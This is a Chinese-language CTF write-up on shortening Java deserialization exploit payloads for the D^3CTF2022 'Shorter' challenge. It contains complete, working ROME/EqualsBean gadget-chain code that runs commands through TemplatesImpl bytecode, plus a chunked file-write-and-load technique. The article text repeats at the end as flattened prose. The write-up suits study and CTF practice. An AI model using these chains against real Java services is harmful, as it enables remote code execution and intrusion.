payload缩短技术-[D^3CTF2022] Shorter
字数 862 2025-08-06 18:08:14

Payload缩短技术详解 - 基于[D^3CTF2022] Shorter题目的研究

前言

本文详细分析如何通过各种技术手段缩短Java反序列化Payload的长度,以解决CTF比赛中常见的长度限制问题。所有技术点均基于[D^3CTF2022] Shorter题目的实际解决方案。

基础概念

反序列化漏洞利用链

在Java反序列化漏洞利用中,我们通常需要构造一个恶意对象链,使其在反序列化时能够执行任意代码。常见的利用链包括:

  1. ROME链:利用com.sun.syndication.feed.impl包中的类
  2. CommonsBeanutils链:利用org.apache.commons.beanutils包中的类

题目分析

题目要求构造一个反序列化Payload,但存在严格的长度限制。主要利用点是Rome 1.0库中的反序列化漏洞。

Payload缩短技术

1. 序列化数据本身的缩小

关键点:

  • 简化对象属性:只保留必要的属性
  • 缩短字段名称:使用最短可能的名称
  • 移除不必要的对象引用

示例代码优化:

// 优化前
setFieldValue(templates, "_name", "HelloTemplatesTmpl");

// 优化后
setFieldValue(templates, "_name", "1");  // 只需非空即可

2. 字节码层面的优化

(1) 使用Javassist生成精简字节码

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("e");  // 使用最短类名
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");  // 精简代码
byte[] bytes = ctClass.toBytecode();

(2) 使用ASM删除调试信息

public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
    @Override
    public void visitLineNumber(int line, Label start) {
        // 删除行号信息
    }
}

3. 利用链优化

(1) 直接利用EqualsBean代替toString链

EqualsBean bean = new EqualsBean(String.class,"");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("bb",templates);
map1.put("cC",bean);
map2.put("bb",bean);
map2.put("cC",templates);
HashMap map = new HashMap();
map.put(map1,"");
map.put(map2,"");

(2) 移除不必要的Bean属性

setFieldValue(objb,"_toStringBean",null);
setFieldValue(objb,"_cloneableBean",null);
setFieldValue(exp,"_equalsBean",null);

高级技巧

1. 分块传输技术

当Payload仍然过长时,可以采用分块传输:

// 第一段:写入部分字节码
static {
    try {
        FileOutputStream fos = new FileOutputStream(path, true);
        String data = "BASE64_BYTECODES_PART";
        fos.write(data.getBytes());
        fos.close();
    } catch (Exception ignore) {}
}

// 最后一段:组合并执行
static {
    try {
        FileInputStream fis = new FileInputStream(path);
        byte[] data = new byte[size];
        fis.read(data);
        FileOutputStream fos = new FileOutputStream("Evil.class");
        fos.write(Base64.getDecoder().decode(data));
        fos.close();
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{"file:///path/"});
        Class<?> clazz = urlClassLoader.loadClass("Evil");
        clazz.newInstance();
    } catch (Exception ignored) {}
}

2. HashMap哈希碰撞利用

通过精心构造HashMap键值对触发equals方法:

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("bb",templates);  // 注意bb和cC的哈希关系
map1.put("cC",bean);
map2.put("bb",bean);
map2.put("cC",templates);

完整示例

最优解示例1 (EqualsBean直接利用)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;

public class ShortestPayload {
    public static void main(String[] args) throws Exception {
        // 生成精简字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().insertAfter("Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = ctClass.toBytecode();

        // 设置TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates, "_bytecodes", new byte[][]{bytes});
        setField(templates, "_name", "a");

        // 构造利用链
        EqualsBean bean = new EqualsBean(String.class,"");
        HashMap map1 = new HashMap(), map2 = new HashMap();
        map1.put("bb",templates); map1.put("cC",bean);
        map2.put("bb",bean); map2.put("cC",templates);
        HashMap map = new HashMap();
        map.put(map1,""); map.put(map2,"");

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(map);
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
    
    static void setField(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
}

最优解示例2 (精简ROME链)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.*;

public class RomeShortPayload {
    public static void main(String[] args) throws Exception {
        // 生成精简字节码
        // ...同上...

        // 设置TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates, "_bytecodes", new byte[][]{bytes});
        setField(templates, "_name", "a");

        // 构造精简ROME链
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        HashMap map = new HashMap();
        map.put(objectBean, "x");

        // 移除不必要属性
        setField(objectBean, "_toStringBean", null);
        setField(objectBean, "_cloneableBean", null);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(map);
        System.out.println(baos.toByteArray().length);
    }
}

总结

通过以下技术组合可以有效缩短Payload长度:

  1. 字节码优化:使用Javassist生成最小化字节码,移除调试信息
  2. 利用链精简:选择最短利用路径,移除不必要的对象属性
  3. 序列化数据优化:使用最短字段名,只保留必要属性
  4. 高级技巧:分块传输、哈希碰撞等

在实际CTF比赛中,需要根据题目具体限制条件选择最适合的优化组合。

Payload缩短技术详解 - 基于[ D^3CTF2022 ] Shorter题目的研究 前言 本文详细分析如何通过各种技术手段缩短Java反序列化Payload的长度,以解决CTF比赛中常见的长度限制问题。所有技术点均基于[ D^3CTF2022 ] Shorter题目的实际解决方案。 基础概念 反序列化漏洞利用链 在Java反序列化漏洞利用中,我们通常需要构造一个恶意对象链,使其在反序列化时能够执行任意代码。常见的利用链包括: ROME链 :利用com.sun.syndication.feed.impl包中的类 CommonsBeanutils链 :利用org.apache.commons.beanutils包中的类 题目分析 题目要求构造一个反序列化Payload,但存在严格的长度限制。主要利用点是Rome 1.0库中的反序列化漏洞。 Payload缩短技术 1. 序列化数据本身的缩小 关键点: 简化对象属性:只保留必要的属性 缩短字段名称:使用最短可能的名称 移除不必要的对象引用 示例代码优化: 2. 字节码层面的优化 (1) 使用Javassist生成精简字节码 (2) 使用ASM删除调试信息 3. 利用链优化 (1) 直接利用EqualsBean代替toString链 (2) 移除不必要的Bean属性 高级技巧 1. 分块传输技术 当Payload仍然过长时,可以采用分块传输: 2. HashMap哈希碰撞利用 通过精心构造HashMap键值对触发equals方法: 完整示例 最优解示例1 (EqualsBean直接利用) 最优解示例2 (精简ROME链) 总结 通过以下技术组合可以有效缩短Payload长度: 字节码优化 :使用Javassist生成最小化字节码,移除调试信息 利用链精简 :选择最短利用路径,移除不必要的对象属性 序列化数据优化 :使用最短字段名,只保留必要属性 高级技巧 :分块传输、哈希碰撞等 在实际CTF比赛中,需要根据题目具体限制条件选择最适合的优化组合。